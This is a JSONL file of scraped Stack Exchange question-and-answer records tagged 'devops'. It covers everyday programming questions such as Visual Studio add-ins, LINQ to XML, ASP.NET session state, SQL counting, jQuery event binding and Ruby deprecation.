tag\nIt should give you the idea", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.892839"}
{"id": "hf_a3c3a6548780", "question": "<p>Are these two terms interchangeable?</p>\n", "question_body": "", "answer": "CIL is the term used in the\nCLI Standard\n. MSIL is (I suppose) CIL created by MS tools. Effectively they are synonymous.\nBrad Abrams says this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.942226"}
{"id": "hf_965fd72a56b4", "question": "<p>What I would like to do is have VS2008, when I open a code file, collapse all members of the classes/interfaces in the file by default (including, crucially, any XML documentation and comments).</p>\n\n<p>I do <em>not</em> want to use regions, at all.</p>\n\n<p>I would also like to be able to use the ctrl+m, ctrl+l chord to toggle all <em>member</em> outlining (for example, if everything is collapsed, I would like it to expand all of the members, but not the comments or XML documentation).</p>\n\n<p>Possible?  How?</p>\n", "question_body": "", "answer": "Yes to part 1.\nUnsure about part 2.\nTo have VS2008 automatically open files in a Collapsed state you'll need to create an addin to run the \"Edit.CollapsetoDefinition\" when each document opens.\nThis isn't overly tricky - The difficult parts seems to be the that you have to run the code a few milliseconds after the document is actually opened so you need to use the threed pool to do that.\nCreate an Addin project for VS2008.\nAdd this code (see following) to the end of the OnConnection Method of the Connect class.\n```\n```\nswitch (connectMode)\n    {\n        case ext_ConnectMode.ext_cm_UISetup:\n        case ext_ConnectMode.ext_cm_Startup:\n            //Do nothing OnStartup will be called once IDE is initialised.\n            break;\n        case ext_ConnectMode.ext_cm_AfterStartup:\n            //The addin was started post startup so we need to call its initialisation manually\n            InitialiseHandlers();\n            break;\n    }\n```\n```\nAdd this method to the Connect class\n```\n```\nprivate void InitialiseHandlers()\n    {\n        this._openHandler = new OnOpenHandler(_applicationObject);\n    }\n```\n```\nAdd a call to InitialiseHandlers() to the OnStartupComplete method of the Connect class.\n```\n```\npublic void OnStartupComplete(ref Array custom)\n    {\n        InitialiseHandlers();\n    }\n```\n```\nAdd this class to the project.\n```\n```\nusing System;\n    using System.Collections.Generic;\n    using System.Text;\n    using EnvDTE80;\n    using EnvDTE;\n    using System.Threading;\n\n    namespace Collapser\n    {\n        internal class OnOpenHandler\n        {\n            DTE2 _application = null;\n            EnvDTE.Events events = null;\n            EnvDTE.DocumentEvents docEvents = null;\n\n            internal OnOpenHandler(DTE2 application)\n            {\n                _application = application;\n                events = _application.Events;\n                docEvents = events.get_DocumentEvents(null);\n                docEvents.DocumentOpened +=new _dispDocumentEvents_DocumentOpenedEventHandler(OnOpenHandler_DocumentOpened);\n            }\n\n            void OnOpenHandler_DocumentOpened(EnvDTE.Document document)\n            {\n                if (_application.Debugger.CurrentMode != dbgDebugMode.dbgBreakMode)\n                {\n                    ThreadPool.QueueUserWorkItem(new WaitCallback(Collapse));\n                }\n            }\n\n            private void Collapse(object o)\n            {\n                System.Threading.Thread.Sleep(150);\n                _application.ExecuteCommand(\"Edit.CollapsetoDefinitions\", \"\");\n            }\n        }\n    }\n```\n```\nAnd now all opened files should be fully collapsed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.966805"}
{"id": "hf_e0b74ee7c218", "question": "<p>Helo!</p>\n\n<p>Is this possible to use string value of one node which tells what type of field is presented in another node using LINQ to XML?</p>\n\n<p>For example:</p>\n\n<pre><code>&lt;node&gt;\n  &lt;name&gt;nodeName&lt;/name&gt;\n  &lt;type&gt;string&lt;/type&gt;\n&lt;/node&gt;\n&lt;node&gt;\n  &lt;name&gt;0&lt;/name&gt;\n  &lt;type&gt;bool&lt;/type&gt;\n&lt;/node&gt;\n&lt;node&gt;\n  &lt;name&gt;42&lt;/name&gt;\n  &lt;type&gt;int&lt;/type&gt;\n&lt;/node&gt;\n</code></pre>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "Well, you won't get a nice statically typed API given that the type information is only known at execution time - but you could easily write an extension method on XElement which looks for the appropriate subelements and returns\n```\nSystem.Object\n```\n. For instance (untested):\n```\n```\npublic static object ParseValue(this XElement element)\n{\n    XElement name = element.Element(\"name\");\n    XElement type = element.Element(\"type\");\n    // Insert error handling here :)\n\n    switch (type.Value)\n    {\n        case \"int\":\n            return int.Parse(name.Value);\n        case \"string\":\n            return name.Value;\n        case \"bool\":\n            return name.Value == \"1\"; // Or whatever\n        default:\n            throw new ArgumentException(\"Unknown element type \" + type.Value);\n    }\n}\n```\n```\nIt's not how I'd design a data format, but if it's being thrust upon you...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:32.991499"}
{"id": "hf_f4b054517b96", "question": "<p>For example, I make extensive use of the session in my ASP.NET application but have heard somewhere that objects stored in session can be removed by the system where server memory runs low. Is this true? Is there any session 'callback' functionality to allow you to re-populate scavenged objects? </p>\n\n<p>More generally, what other potential problems of using session state are there, and what are the suggested best practices for dealing with them?</p>\n", "question_body": "", "answer": "Sorry, I don't know about the removal of items from session state, but in response to your general question, the most important question is whether you anticipate running your web app on just one web server machine or many.\nTypically, you are keeping the session state in the memory of one single machine.  Your load balancer that fronts your multiple web servers must be configured to make things \"sticky\", so that the same user keeps being routed to the same machine.\nAlternatively, you could store session state in a central location, including SQL Server, but then you pay the performance hit for the network and IO interaction with SQL Server.  You give up the speed of local, in memory state.\nSince session state is 20 minutes by default, if you need more than that, but your hosting company won't let you override it, you would have to have some ajax or hidden iframe javascript code running in your web pages that would ping the server every (less than) 20 minutes to keep the session aliv", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.030709"}
{"id": "hf_c03b59e9fabb", "question": "<p>I am currently building an application using ASP.NET MVC.  The data entry pages are fairly easy to code, I just make the Model for the page of the type of my business object:</p>\n\n<pre><code>namespace MyNameSpace.Web.Views.ProjectEdit\n{\n    public partial class MyView : ViewPage&lt;Project&gt;\n    {\n    }\n}\n</code></pre>\n\n<p>Where I am struggling is figuring out the best way to implement a dashboard like interface, with stand-alone parts, using ASP.NET MVC, where the Model for each part would be different? I'm <strong>assuming</strong> that each part would be an MVC user control.  </p>\n\n<p>Also, how could I make it so each part is testable?</p>\n", "question_body": "", "answer": "I think that user controls is probably the way to go.  I'm not sure what the concern is about testability.  You should be able to test that your controller is providing the right view data -- since you'll have several models each of these will probably be stored in a separate view data item, rather than aggregating them in a single model.  Aggregating in a single model is also possible, although probably more brittle.  Each control would just need to check for a particular view data item, rather than being specific to a particular model.  You could approximate the model variable on each view page by doing:\n```\n```\n<% MyUserControlModel model = ViewData[\"MyUserControlModel\"]\n         as MyUserControlModel; %>\n\n<div id=\"myUserControl_dashboard\" class=\"dashboard\">\n   Name: <%= model.Name %><br />\n   Count: <%$ model.Count %>\n</div>\n```\n```\nIf you need to test your view, then you're probably already using Selenium or some other web testing framework.  I don't think that these would care how the page was constructed and you should be able to construct your tests pretty much like you always do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.054605"}
{"id": "hf_cc529f4827d7", "question": "<p>I would like to add custom tooltips to emacs.\nMore specifically, whenever I hover on a symbol (function/variable) name \nwith my mouse of I would like to see a tooltip with the symbol's definition.\nI know that I can find this kind of info with a tool like cscope but I have no idea how\nto attach the output of cscope to a tooltip.\ndoes anyone have a partial (how to link a callback to a tooltip in emacs in general) or \na full (how do I actually link the output of cscope to a tooltip) solution to this?</p>\n\n<p>Thanks,\nNir</p>\n", "question_body": "", "answer": "Your Emacs installation should include the\nElisp reference manual\n(if not, download it now - you're going to need it when developing your mode). To access it, go to Info (C-h i) and look for a node labeled \"Elisp\", sometimes in a separate \"Emacs\" menu. Type\n```\ni\n```\nfor index and\n```\ntooltip\n```\nto look for information on tooltips. You should find node\n32.19.4 Properties with Special Meanings\n, which tells you that the content of the\n```\nhelp-echo\n```\nproperty is a string that is the tooltip content, or a function that can construct the tooltip dynamically. Explore the manual around that node to find out more about text properties and how to set them.\nHere's a simple example:\n```\n```\n(insert (propertize \"foo\\n\" 'help-echo \"Tooltip!\"))\n```\n```\nType this into your\n```\n*scratch*\n```\nbuffer and press\n```\nC-j\n```\nto run the code. Then point your mouse at the word \"foo\" and you should see the tooltip.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.091130"}
{"id": "hf_4e18f7d8a21f", "question": "<p>HI I got this coursework question to solve. </p>\n\n<p>This is the question:</p>\n\n<p>Design a program to simulate vehicles at an intersection.</p>\n\n<p>Assume that there is one lane going in each of four directions, with stoplights facing each direction. Vary the arrival time of vehicles randomly in each direction and set up a regular frequency of the light changes. Run your direction and set up a regular frequency of the light changes. Run your simulation for a set period of time to view the \"behaviour\" of the intersection. </p>\n\n<p>Coursework Requirement:</p>\n\n<ol>\n<li>Should be coded in java</li>\n<li>Use of proper data structures</li>\n</ol>\n\n<p>If any one has any clue of how to do it, please help; I have no idea.</p>\n", "question_body": "", "answer": "Read\nabout\nqueues\nyou have to use to simulate each traffic light.\nEach randomly generated car going in each lane will get pushed into the corresponding queue and then popped out of it when the light is green, and keep popping cars as long as (hint: you need to simulate time as well (subhint: look into finite state machines)) the light is green, of course. You process each queue in order.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.127970"}
{"id": "hf_ab785dbebbc9", "question": "<p>i need to check whether the user clicking the browser Refresh button and redirect to error page. Can we do this in javascript or any server side methods in ASP.net</p>\n", "question_body": "", "answer": "If you give each link you present a unique ID (e.g. a GUID) in the URL as a parameter, then you can keep track of all the requests you've processed. (You could clear out \"old\" requests if you don't mind the mechanism not working if someone leaves a browser open for a few days and then hitting refresh.) The first time you see a GUID, write it into the table. If you see it again, redirect to an error page.\nIt's pretty ugly though, and users could just edit the URL to change the GUID slightly. (You could fix this last flaw by recording the GUID when you\ngenerate\nit, and update the table to indicate when it's been\nused\n.)\nIn general, users expect to be able to refresh the page though - particularly for GET requests (even though most users wouldn't know what that means). Why do you want to do this?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.164415"}
{"id": "hf_f82fc12a9c22", "question": "<p>It's 5 button clicks to get eclipse to create a deployable war file for my eclipse project, I figure there's probably some eclipse command line option to do the same thing, so I can just write it into a script, but I'm not seeing it.</p>\n", "question_body": "", "answer": "Use the\nAnt\n```\nwar\n```\ntask\n, set up a relevant build file and you can just hit the \"external tools\" button to execute it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.189213"}
{"id": "hf_91e72a449f22", "question": "<p>If I have the following code:</p>\n<pre><code>MyType&lt;int&gt; anInstance = new MyType&lt;int&gt;();\nType type = anInstance.GetType();\n</code></pre>\n<p>How can I find out which type argument(s) &quot;anInstance&quot; was instantiated with, by looking at the type variable? Is it possible?</p>\n", "question_body": "", "answer": "Use\nType.GetGenericArguments\n. For example:\n```\n```\nusing System;\nusing System.Collections.Generic;\n\npublic class Test\n{\n    static void Main()\n    {\n        var dict = new Dictionary<string, int>();\n\n        Type type = dict.GetType();\n        Console.WriteLine(\"Type arguments:\");\n        foreach (Type arg in type.GetGenericArguments())\n        {\n            Console.WriteLine(\"  {0}\", arg);\n        }\n    }\n}\n```\n```\nOutput:\n```\n```\nType arguments:\n  System.String\n  System.Int32\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.213657"}
{"id": "hf_47f1ec49805d", "question": "<p>If anyone is trying to do agile, i am trying to figure out a way to use JIRA / Greenhopper for this.  We are a global dev team so the distributed nature is crucial here.</p>\n\n<p>We were initially using Scrumworks but the team complained that they had duplicate information in JIRA and scrumworks all the time and thought it was redundant.</p>\n\n<p>We got Greenhopper and thought that would solve our problems but the problems that i have with this are:</p>\n\n<ol>\n<li>No User story concept in JIRA</li>\n<li>Greenhopper too \"task\" focused without aggregation at the user story level.</li>\n</ol>\n\n<p>Has anyone successfully done this in JIRA or should we look at moving back to other tools like scrumworks and just use JIRA for bugs raised by our support team.</p>\n", "question_body": "", "answer": "You can add your own Issue types in JIRA.\nJust add a type called User Story.\nThen make sure to enable your sub-tasks feature in JIRA.\nYou will then be able to explode your stories int multiple Subtasks.\nThe integration of the subtasks is pretty nice if you reuse the Ranking feature.\nSee:\nhttp://www.greenpeppersoftware.com/confluence/display/GH/PLANNING+BOARD#PLANNINGBOARD-ordering\nYou will then be able to\n1) Estimate your Stories in Story points\n2) Prioritize your issues (with the ranking field)\n3) Explode your stories in multiple subtasks that you will estimate in hours.\nYou should post your questions on the GreenHopper forum, might have more and quicker answers.\nhttp://www.greenpeppersoftware.com/site/forums/list.page\nCheers,", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.238505"}
{"id": "hf_5888fabe12f2", "question": "<p>for VS 2005 is there a max number of projects that will cause performance issues.  We have now up to 25 projects and growing.  Should we making these binary referenced or are we breaking out our application logic into too many different projects.  Seems to start to be a big performance issue lately.</p>\n", "question_body": "", "answer": "Having too many DLL files can cost you at run-time so I would recommend that you try to minimize the amount of projects. Creating several solutions is also an option but try to make the solutions independent of each other so that you don't have to debug and implement new features across several solutions - that can be cumbersome.\nTake a look at this article:\nProject anti-pattern: Many projects in a Visual Studio Solution File\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.311998"}
{"id": "hf_033ca5898c30", "question": "<p>In this query:</p>\n\n<pre><code>SELECT COUNT(*) AS UserCount, Company.* FROM Company\nLEFT JOIN User\nON User.CompanyId = Company.Id\nWHERE Company.CanAccessSystem= true\nAND(User.CanAccessSystem IS null OR User.CanAccessSystem = true)\nGROUP BY Company.Id\n</code></pre>\n\n<p>I want to query a list of companies that can access a particular system as well as the number of users who can access the system inside the company.  </p>\n\n<p>This query works for all cases except for one very important one.  If a company can access a the system but none of the users can, the Company disappears completely from the query (i.e.: Users.CanAccessSystem = false).  In that case, I just want the UserCount = 0.  </p>\n\n<p>Example From Companies that Can Access the System:</p>\n\n<pre><code>Users   Company Name\n1       WidgetWorks\n3       WidgetCompany\n0       WidgesRUs\n</code></pre>\n\n<p>This system is on MySQL</p>\n\n<p>Query Edit: Fixed a Typo \"ON User.CompanyId = Company.Id\"</p>\n", "question_body": "", "answer": "You should be counting the number of users for whom User.CanAccessSystem is true. Think of something like\n```\n```\ncount(case when User.CanAccessSystem then true end)\n```\n```\nThe case expression will return NULL in case User.CanAccessSystem is false (default), and\n```\ncount(expr)\n```\ncounts the number of items for which the expression is not null.\nSo... This?\n```\n```\nSELECT COUNT(case when User.CanAccessSystem then true end) AS UserCount, Company.*\nFROM Company LEFT JOIN User\nON Company.id = user.companyId   -- I had to guess, this seems to be missing in your query\nWHERE Company.CanAccessSystem= true\nGROUP BY Company.Id\n```\n```\np.s. I used LEFT JOIN instead of INNER JOIN in order not to exclude companies without users.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.336432"}
{"id": "hf_9c050b6221b6", "question": "<p>I've been working with jQuery for a pair of weeks and I've noticed it works fine with objects that are in the original HTML document, but when I generate a new element using jQuery the library doesn't get any of its events.</p>\n\n<p>Let's say I try to run something like this:</p>\n\n<pre><code>$('.whatever').click(function() {\n  alert(\"ALERT!\");\n});\n</code></pre>\n\n<p>If the HTML does have something like this:</p>\n\n<pre><code>&lt;span class=\"whatever\"&gt;Whatever&lt;/span&gt;\n</code></pre>\n\n<p>Then clicking on the word <code>Whatever</code> gets me a nice alert.</p>\n\n<p>But if the <code>span</code> element is added dynamically using jQuery, nothing happens when clicking on it.</p>\n\n<p>Is there a way to make jQuery work with those elements, somehow?</p>\n", "question_body": "", "answer": "You need to rebind it.\n```\n```\nfunction bindme(){\n    $('.whatever').click(function(){\n        alert('binded');\n    });\n};\n\nbindme();\n\n//function that will generate something\n\nfunction foo(){\n   $('.whatever').val('oryt');\n   bindme();//rebind itagain\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.373051"}
{"id": "hf_16671e7a7c0b", "question": "<p>Should operations that could take some time be performed in a constructor or should the object be constructed and then initialised later.</p>\n\n<p>For example when constructing an object that represents a directory structure should the population of the object and its children be done in the constructor. Clearly, a directory can contain directories and which in turn can contain directories and so on.</p>\n\n<p>What is the elegant solution to this?</p>\n", "question_body": "", "answer": "You usually do not want the constructor to do any computation.  Someone else using the code will not expect that it does more than basic set-up.\nFor a directory tree like you're talking about, the \"elegant\" solution is probably not to build a full tree when the object is constructed.  Instead, build it on demand.  Someone using your object may not really care what is in sub-directories, so start out by just having your constructor list the first level, and then if someone wants to descend into a specific directory, then build that portion of the tree when they request it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.410710"}
{"id": "hf_ed35d503643c", "question": "<p>There's a HTML:</p>\n\n<pre><code>&lt;div class=\"test\"&gt;\n&lt;ul&gt;\n    &lt;li&gt;Item 1&lt;/li&gt;\n    &lt;li&gt;Item 2&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>And a bit of JS:</p>\n\n<pre><code>$(document).ready(function() {\n    // do stuff when DOM is ready\n    $(\".test ul\").append('&lt;li&gt;Foo&lt;/li&gt;');\n});\n</code></pre>\n\n<p>Why does it add nothing, but if I remove html from append's argument string,</p>\n\n<pre><code>.append('Foo')\n</code></pre>\n\n<p>it works - but that's not the point - new text is added as anonymous block, not li item as I wanted.</p>\n\n<p>Anu suggestions?</p>\n\n<p><em>edit:</em>\nArgh, I've found the problem. I modified a file saved from Firefox's \"Save page\" option, the extension was .xhtml - and here's the problem. I renamed it and it works fine.</p>\n\n<p>Thanks :)</p>\n", "question_body": "", "answer": "adding actual HTML from JavaScript is rather ugly, have you tried something like this:\n```\n```\nvar li=document.createElement(\"li\");\nli.appendChild(document.createTextNode(\"Dupa\"));\n$(\".text ul\").appendChild(li);\n```\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.435001"}
{"id": "hf_27784391ff0d", "question": "<p>I'd like to mark a method as deprecated, so the people using it can easily check their code and catch up. In Java you set @Deprecated and everybody knows what this means.</p>\n\n<p>So is there a preferred way (or even tools) to mark and check for deprecations in Ruby?</p>\n", "question_body": "", "answer": "You do have\n```\nlibdeprecated-ruby\n```\n(2010-2012, not available anymore on rubygem in 2015)\nA small library intended to aid developers working with deprecated code.\nThe idea comes from the '\n```\nD\n```\n' programming language, where developers can mark certain code as deprecated, and then allow/disallow the ability to execute deprecated code.\n```\n```\nrequire 'lib/deprecated.rb'\nrequire 'test/unit'\n\n# this class is used to test the deprecate functionality\nclass DummyClass\n  def monkey\n    return true\n  end\n\n  deprecate :monkey\nend\n\n# we want exceptions for testing here.\nDeprecate.set_action(:throw)\n\nclass DeprecateTest < Test::Unit::TestCase\n  def test_set_action\n\n    assert_raise(DeprecatedError) { raise StandardError.new unless DummyClass.new.monkey }\n\n    Deprecate.set_action(proc { |msg| raise DeprecatedError.new(\"#{msg} is deprecated.\") })\n\n    assert_raise(DeprecatedError) { raise StandardError.new unless DummyClass.new.monkey }\n\n    # set to warn and make sure our return values are getting through.\n    Deprecate.set_action(:warn)\n\n    assert_nothing_raised(DeprecatedError) { raise StandardError.new unless DummyClass.new.monkey } \n  end\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.459379"}
{"id": "hf_d082e10e3c85", "question": "<p>I have a visual studio solution with the following projects:</p>\n\n<ol>\n<li>UI</li>\n<li>DataAccess</li>\n<li>BusiessLogic</li>\n<li>BusinessObjects</li>\n</ol>\n\n<p>I now have a bunch of code that generates reports that are sent out via email or saved as csv files.</p>\n\n<p>These ReportGenerators classes take in business objects and output either files or strings.</p>\n\n<p>which project would you put them in?  I am leaning toward an answer but wanted to see what others thought?</p>\n", "question_body": "", "answer": "I would create a separate reporting project. It doesn't belong in the UI (I assume they run in the background) - it is effectively a 'reporting logic' layer.\nIf you think about how you might want to support reportng, you may want a backend service but you might want to expose the data via a web service as well in the future. If you need to provide users a front-end reporting facility you plug into the reporting logic as you would a normal UI -> Logic -> Data Access architecture.\nAlso, if you separate your reporting code out you are then free to extract it to a dedicated reporting tier in the future.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.495455"}
{"id": "hf_991a880666fa", "question": "<p>I know postgres has a datatype for storing geographical coordinates. But I'm looking for a RDBMS agnostic solution. Currently I'm using Decimal(25,20) in MySQL. I may be using this data to lookup these locations based on a given distance from a given location later. Which would be the best approach to store this kind of data?</p>\n", "question_body": "", "answer": "The standard is\nhere\n. Although it's too much for a simple use case such as yours, it may give you some ideas about why it may actually be best to go and use some OGC compliant packages many databases have nowadays, even\nMySQL\n.\nFailing that, and assuming you will implement the algorithms for distance calculations, any floating point number that has the precision you need will work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.520089"}
{"id": "hf_96f2c8cc331a", "question": "<p>When comparing two objects (of the same type), it makes sense to have a compare function which takes another instance of the same class. If I implement this as a virtual function in the base class, then the signature of the function has to reference the base class in derived classes also. What is the elegant way to tackle this? Should the Compare not be virtual?</p>\n\n<pre><code>class A\n{\n    A();\n    ~A();\n    virtual int Compare(A Other);\n}\n\nclass B: A\n{\n    B();\n    ~B();\n    int Compare(A Other);\n}\n\nclass C: A\n{\n    C();\n    ~C();\n    int Compare(A Other);\n}\n</code></pre>\n", "question_body": "", "answer": "If you mean that the Compare() in class B or C should always be passed an object of class B or C, no matter what the signature says, you can work with pointers to instances instead of instances, and try to downcast the pointer in the method's code using something like\n```\n```\nint B::Compare(A *ptr)\n{\n   other = dynamic_cast <B*> (ptr);\n   if(other)\n      ...  // Ok, it was a pointer to B\n}\n```\n```\n(Such an overloading would be necessary only for those derived classes that add to the state of their parent something that influences the comparison.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.544223"}
{"id": "hf_b89ab11bef03", "question": "<p>What are some C++ related idioms, misconceptions, and gotchas that you've learnt from experience?</p>\n\n<p>An example:</p>\n\n<pre><code>class A\n{\n  public: \n  char s[1024];\n  char *p;\n\n  A::A()\n  {\n    p = s;\n  }\n\n  void changeS() const\n  {\n    p[0] = 'a';\n  }\n\n};\n</code></pre>\n\n<p>Even know changeS is a const member function, it is changing the value of the object.  So a const member function only means that it will treat all variables as const, and it does not mean that it will actually keep all members const.  (why? the const keyword on the member function treats char *p;  as char * const p;  And not as const char *p;</p>\n\n<p>Which therefore means that p can't point to something else.   And not that you can't change p's data.  </p>\n", "question_body": "", "answer": "I've liked this since the time i've discovered it in some code:\n```\n```\nassert(condition || !\"Something has gone wrong!\");\n```\n```\nor if you don't have a condition at hand, you can just do\n```\n```\nassert(!\"Something has gone wrong!\");\n```\n```\nThe following is attributed to\n@Josh\n(see comments). It uses the\ncomma operator\ninstead:\n```\n```\nassert((\"Something has gone wrong!\", condition));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.580340"}
{"id": "hf_402b4a78f358", "question": "<p>I have noticed that GhostDoc hasn't been updated in a long while.  So I am curious if there is a plug-in for Resharper or CodeRush that will accomplish the same thing?  Or even if this type of functionality is built in to one of the tools that would be great too.  </p>\n", "question_body": "", "answer": "GhostDoc is working just fine, so I guess there is no need to be updated (unless some new features will be added). Also, it does not conflict with Resharper in any way (for me, at least).\nEdit:\nSince everybody seems to happily use GhostDoc (based on my Google search), I doubt anyone will reinvent the wheel, unless it suffers from the not-invented-here sindrom.\nEDIT\nWell, a new version was released:\nSubMain acquires GhostDoc, releases new version, integrates it with CodeIt.Right", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.604450"}
{"id": "hf_ee3c59c2aef6", "question": "<p>Maybe this is an easy question, maybe not.  I have a select box where I hardcode with width. Say 120px.</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;select style=\"width: 120px\"&gt;\r\n  &lt;option&gt;REALLY LONG TEXT, REALLY LONG TEXT, REALLY LONG TEXT&lt;/option&gt;\r\n  &lt;option&gt;ABC&lt;/option&gt;\r\n&lt;/select&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<p>I want to be able to show the second option so that the user can see the full length of the text.</p>\n\n<p>Like everything else.  This works fine in Firefox, but doesn't work with Internet Explorer6.</p>\n", "question_body": "", "answer": "If you have the option pre-existing in a fixed-with\n```\n<select>\n```\n, and you don't want to change the width programmatically, you could be out of luck unless you get a little creative.\nYou could try and set the\n```\ntitle\n```\nattribute to each option. This is non-standard HTML (if you care for this minor infraction here), but IE (and Firefox as well) will display the entire text in a mouse popup on mouse hover.\nYou could use JavaScript to show the text in some positioned DIV when the user selects something. IMHO this is the\nnot-so-nice\nway to do it, because it requires JavaScript on to work at all, and it works only\nafter\nsomething has been selected -  before there is a change in value no events fire for the select box.\nYou don't use a select box at all, but\nimplement its functionality using other markup and CSS\n. Not my favorite but I wanted to mention it.\nIf you are adding a long option later through JavaScript, look here:\nHow to update HTML “select” box dynamically in IE", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:33.627825"}
